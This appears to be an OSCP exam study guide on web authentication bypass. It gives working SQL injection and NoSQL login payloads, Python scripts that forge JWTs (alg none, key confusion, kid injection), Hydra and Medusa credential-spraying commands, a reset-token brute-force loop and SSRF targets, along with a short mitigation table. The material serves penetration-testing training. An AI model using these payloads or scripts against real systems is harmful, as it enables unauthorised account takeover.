Domain 2Web App AttacksCORE

Authentication Bypass Techniques

Complete authentication bypass guide covering JWT manipulation, SQL injection login bypass, parameter tampering, default credentials, and type confusion attacks for OSCP exam preparation.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#Auth Bypass#JWT#SQL Injection Login#Parameter Tampering#OSCP

Authentication Bypass Techniques

Overview

Authentication bypass is one of the most critical web application vulnerabilities. It allows an attacker to gain unauthorized access to an application or escalate privileges without possessing valid credentials. In the OSCP exam, authentication bypass is a frequent and high-impact attack vector — successfully bypassing login on a web application can be the difference between a partial and a full machine compromise.

Authentication mechanisms are the gatekeepers of web applications. When they fail, attackers can access admin panels, sensitive data, and internal functionality. This topic covers the full spectrum of bypass techniques, from classic SQL injection logins to modern JWT manipulation attacks.


1. SQL Injection Login Bypass

How It Works

The most classic authentication bypass technique. When a login form constructs SQL queries without proper input sanitization, an attacker can inject SQL logic that always evaluates to true, bypassing the password check entirely.

Vulnerable Query Pattern:

SELECT * FROM users WHERE username = '$user' AND password = '$pass';

Payloads by Injection Point

Scenario Username Payload Password Payload Result
Basic OR bypass ' OR '1'='1 anything Returns first user
Comment out password admin' -- anything Logs in as admin
Double comment admin' # anything MySQL-specific bypass
UNION-based ' UNION SELECT 1,'admin','hash'-- (empty) Injects row
Boolean blind ' OR 1=1-- x Always true condition
Time-based blind ' OR SLEEP(5)-- x Confirms injection via delay

Step-by-Step Exploitation Workflow

Step 1: Identify the injection point

Username: admin'
Password: anything

If the error message changes (e.g., “Invalid credentials” vs. a database error), SQL injection is likely present.

Step 2: Test basic bypass

Username: ' OR '1'='1' --
Password: anything

If login succeeds, you’ve bypassed authentication.

Step 3: Target specific user

Username: admin' --
Password: anything

This comments out the password check and attempts to log in as admin.

Step 4: Enumerate database (if needed)

Username: ' UNION SELECT username,password,3 FROM users--

OSCP Relevance

SQL injection login bypass appears on multiple OSCP machines. Key indicators:

  • Login forms with no rate limiting
  • Error messages that reveal database information
  • Applications built with older PHP/MySQL stacks
  • Machines like Hackable, Legacy, and Optimum have featured this technique

2. JWT Authentication Bypass

JWT Structure Refresher

A JSON Web Token consists of three Base64URL-encoded parts separated by dots:

Header.Payload.Signature

Example:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
  • Header: Algorithm and token type
  • Payload: Claims (user data, roles, expiration)
  • Signature: Verification that the token hasn’t been tampered with

Attack 1: Algorithm “none” Bypass

Concept: If the server doesn’t strictly validate the algorithm, you can set alg: none to create an unsigned token that the server accepts.

Exploitation:

import jwt
import base64

# Step 1: Decode existing token to get the payload
original_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ.signature"
parts = original_token.split('.')
payload = base64.urlsafe_b64decode(parts[1] + '==')  # Add padding
print("Original payload:", payload.decode())

# Step 2: Create a forged admin payload
admin_payload = {
    "sub": "admin",
    "role": "administrator",
    "iat": 1516239022
}

# Step 3: Sign with 'none' algorithm
forged_token = jwt.encode(admin_payload, key=None, algorithm="none")
print("Forged token:", forged_token)

# Step 4: Use in Authorization header
# curl -H "Authorization: Bearer <forged_token>" http://target.com/admin

Manual approach (no Python):

# Encode header with alg:none
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_'

# Encode payload with admin role
echo -n '{"sub":"admin","role":"admin"}' | base64 | tr -d '=' | tr '+/' '-_'

# Combine with empty signature
HEADER.PAYLOAD.

Attack 2: Algorithm Confusion (RS256 to HS256)

Concept: If a server expects RS256 (RSA asymmetric) but accepts HS256 (HMAC symmetric), you can use the server’s public RSA key as the HMAC secret to forge tokens.

Exploitation:

import jwt

# The server's public key (often available at /.well-known/jwks.json)
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""

# Extract just the key material and use as HMAC secret
hmac_secret = public_key.encode()

# Forge token using HS256 with the public key as secret
payload = {"sub": "admin", "role": "admin"}
forged_token = jwt.encode(payload, hmac_secret, algorithm="HS256")
print(forged_token)

Attack 3: Weak JWT Secret Brute Force

Concept: If the JWT is signed with HS256 using a weak secret, you can brute-force it.

Using jwtcrack:

# Install
npm install -g jwt-crack

# Brute force the secret
jwt-crack "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.RqI9..."

# Output: "The secret is 'password'"

Using hashcat:

# Prepare JWT for hashcat (mode 16500)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.signature" > jwt.txt

# Crack with hashcat
hashcat -m 16500 jwt.txt /path/to/wordlist.txt

Attack 4: kid Header Injection

Concept: The kid (Key ID) header field tells the server which key to use for verification. If the server uses kid as a file path, you can point it to a predictable file.

import jwt

payload = {"sub": "admin", "role": "admin"}

# Set kid to a predictable file path
headers = {"kid": "/etc/passwd"}
forged_token = jwt.encode(payload, key="dummy", algorithm="HS256", headers=headers)

Attack 5: Payload Manipulation

Concept: Modify claims within the JWT payload to escalate privileges.

import jwt

# Decode existing token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ.sig"
decoded = jwt.decode(token, options={"verify_signature": False})

# Modify claims
decoded["role"] = "admin"
decoded["is_admin"] = True
decoded["exp"] = 9999999999  # Never expire

# Re-sign (if you know the secret)
forged = jwt.encode(decoded, "known_secret", algorithm="HS256")

JWT Testing Tools

Tool Purpose Command
jwt-crack Brute force JWT secrets jwt-crack <token>
jwt_tool.py Comprehensive JWT attack toolkit python3 jwt_tool.py <token>
hashcat GPU-accelerated cracking hashcat -m 16500
jwt.io Online decoder/encoder Manual analysis

3. Parameter Tampering and Manipulation

Boolean Parameter Injection

Some applications check authentication via boolean flags in request parameters:

POST /api/login HTTP/1.1
Content-Type: application/json

{
    "username": "admin",
    "password": "test",
    "authenticated": false
}

Bypass: Change "authenticated": false to "authenticated": true in Burp Repeater.

Hidden Parameter Injection

Add extra parameters that the backend might process:

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=user&password=pass&is_admin=true&role=admin

JSON Parameter Injection

When the application accepts JSON, inject additional fields:

{
    "username": "user",
    "password": "pass",
    "role": "admin",
    "privileges": ["read", "write", "delete"]
}

Type Confusion Attacks

Concept: Change the data type of a parameter to bypass validation logic.

Original Manipulated Effect
user_id=1001 user_id=["1"] Array injection (NoSQL)
role=user role={"$gt": ""} MongoDB operator injection
count=5 count=["5"] Type mismatch bypass

NoSQL Injection Example:

{
    "username": {"$ne": null},
    "password": {"$ne": null}
}

This MongoDB query matches any user where username is not null AND password is not null — effectively all users.


4. Default and Hardcoded Credentials

Common Default Credential Patterns

Application Username Password
Generic admin admin admin
Generic admin admin password
Root access root toor
Root access root root
Test accounts test test
Debug accounts debug debug
Service accounts service service
Backdoors backdoor backdoor

Automated Default Credential Testing

# Using Hydra for common defaults
hydra -L /usr/share/seclists/Passwords/Default-Credentials/common-default-logins.txt \
      -P /usr/share/seclists/Passwords/Default-Credentials/common-default-passwds.txt \
      -t 32 -vV target.com http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

# Using Medusa
medusa -U /path/to/usernames.txt -P /path/to/passwords.txt \
       -M http -m DIR:/login -t 16 -H target.com

OSCP Tip

On OSCP machines, always check for default credentials on:

  • Web application login pages
  • Admin panels (/admin, /administrator)
  • CMS platforms (WordPress, Drupal, Joomla)
  • Service interfaces (phpMyAdmin, Webmin)
  • API endpoints

5. Null Byte and Case Sensitivity Bypasses

Null Byte Injection

Concept: Some languages (especially older PHP versions) truncate strings at null bytes (\0 or %00), which can bypass filename-based or string-based authentication checks.

username=admin%00

If the backend does strpos($username, "admin"), the null byte truncation might cause the check to pass while the stored comparison uses the truncated value.

Case Sensitivity Exploitation

Concept: If the authentication check is case-insensitive but the password storage is case-sensitive (or vice versa):

Username: Admin     (instead of admin)
Username: ADMIN
Username: AdMiN

Test variations when standard credentials fail.


6. Password Reset Token Abuse

Weak Token Generation

If password reset tokens are predictable (sequential, timestamp-based, or short), attackers can guess valid tokens:

# Try sequential tokens
for i in $(seq 1 1000); do
    curl -s "http://target.com/reset?token=$i" | grep -i "success"
done

Token Reuse

If the application doesn’t invalidate tokens after use, an intercepted token can be replayed:

# Capture token from Burp, then replay
curl -X POST "http://target.com/reset" \
     -d "token=abc123&new_password=hacked123"

7. SSRF-Based Authentication Bypass

Concept: Use Server-Side Request Forgery to access internal authentication services or admin APIs that are not publicly accessible.

POST /api/fetch HTTP/1.1
Content-Type: application/json

{
    "url": "http://127.0.0.1:8080/admin/api/users"
}

Or access internal metadata services:

http://169.254.169.254/latest/meta-data/
http://localhost:6379/          # Redis
http://localhost:8080/actuator/env  # Spring Boot

8. Detection and Mitigation

For Defenders

Strategy Implementation
Parameterized queries Use prepared statements to prevent SQL injection
JWT best practices Enforce strong algorithms (RS256), rotate secrets, validate alg header strictly
Input validation Server-side validation of all parameters, reject unexpected fields
MFA Multi-factor authentication as a second layer
Rate limiting Limit login attempts per IP and per account
Account lockout Lock accounts after N consecutive failures
Secure session management HttpOnly, Secure, SameSite cookie flags
Token invalidation Invalidate password reset tokens after single use

For Pentesters (OSCP Checklist)

  1. Always try default credentials before complex attacks
  2. Test SQL injection on every login form
  3. Check JWT tokens — decode, try none algorithm, try weak secrets
  4. Manipulate parameters in Burp Repeater — add, remove, change types
  5. Check for hidden parameters in JavaScript source code
  6. Test password reset flows for token weaknesses
  7. Look for SSRF that might reach internal auth services
  8. Check for hardcoded credentials in client-side code

9. OSCP Exam Scenarios and Tips

Common OSCP Authentication Bypass Patterns

Pattern 1: SQL Injection on Login

  • Machine shows a login page with no rate limiting
  • Error messages reveal database technology
  • Try ' OR '1'='1' -- as the first payload

Pattern 2: JWT with Weak Secret

  • Application uses JWT for authentication
  • Token is visible in browser dev tools or cookies
  • Run jwt-crack or jwt_tool.py immediately

Pattern 3: Default Credentials on Admin Panel

  • Discover /admin or /administrator via directory brute force
  • Try admin:admin, admin:password, root:toor

Pattern 4: Parameter Tampering

  • Login works with valid credentials but returns JSON response
  • Check if adding "isAdmin": true or "role": "admin" to the request body works

Pro Tips

  • Always save Burp sessions — authentication bypass findings are critical for write-ups
  • Document every bypass attempt — even failed attempts show thorough testing
  • Chain attacks — auth bypass often leads to RCE via admin functionality
  • Check both GET and POST — some apps handle auth differently per method
  • Look at the source code — hardcoded credentials or JWT secrets sometimes appear in JS files

Summary

Authentication bypass is a foundational web attack technique that remains highly relevant in the OSCP exam. The key techniques to master are:

  1. SQL Injection login bypass — the most common and reliable method
  2. JWT manipulation — increasingly common in modern applications
  3. Parameter tampering — quick wins when the backend is poorly coded
  4. Default credentials — always check first, often overlooked
  5. Type confusion and NoSQL injection — niche but powerful on specific targets

Master these techniques, practice them on vulnerable applications, and you’ll be well-prepared for the authentication challenges you’ll face on exam machines.